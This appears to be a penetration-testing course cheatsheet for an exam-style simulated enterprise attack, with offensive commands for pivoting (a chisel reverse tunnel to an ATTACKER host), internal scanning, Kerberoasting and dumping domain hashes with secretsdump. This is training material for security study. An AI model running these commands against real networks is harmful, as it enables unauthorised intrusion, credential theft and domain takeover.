Attacking Enterprise Networks

Fundamentals
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πŸ“– Overview

Simulated real-world penetration test combining all skills - External to Internal to Domain Admin.

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πŸ“‹ Cheatsheet

Attack Path Overview

  1. External Recon: Subdomain enum, OSINT
  2. Initial Access: Web exploit, phishing
  3. Internal Pivot: Tunnel to internal network
  4. AD Compromise: Kerberoast, credential reuse
  5. Domain Admin: DCSync, Golden Ticket

External to Internal

# Gain foothold via web app
# Set up pivot
chisel client ATTACKER:8000 R:socks # Establish SOCKS tunnel
# Scan internal
proxychains nmap -sT 172.16.0.0/24 # Scan internal network via proxy

AD Takeover

GetUserSPNs.py domain/user -dc-ip DC_IP -request # Kerberoast
impacket-secretsdump domain/admin@DC_IP # Dump domain hashes

πŸ’» Command Examples

⚠️ Common Pitfalls

  • Getting tunnel vision on one attack path
  • Not maintaining access/persistence
  • Rushing and missing enumeration

πŸ’‘ Exam Survival Tips

  • This is the exam simulation - practice it!
  • Time management is critical
  • Have backup attack plans ready
  • Document everything for report

πŸ—ΊοΈ Mind Maps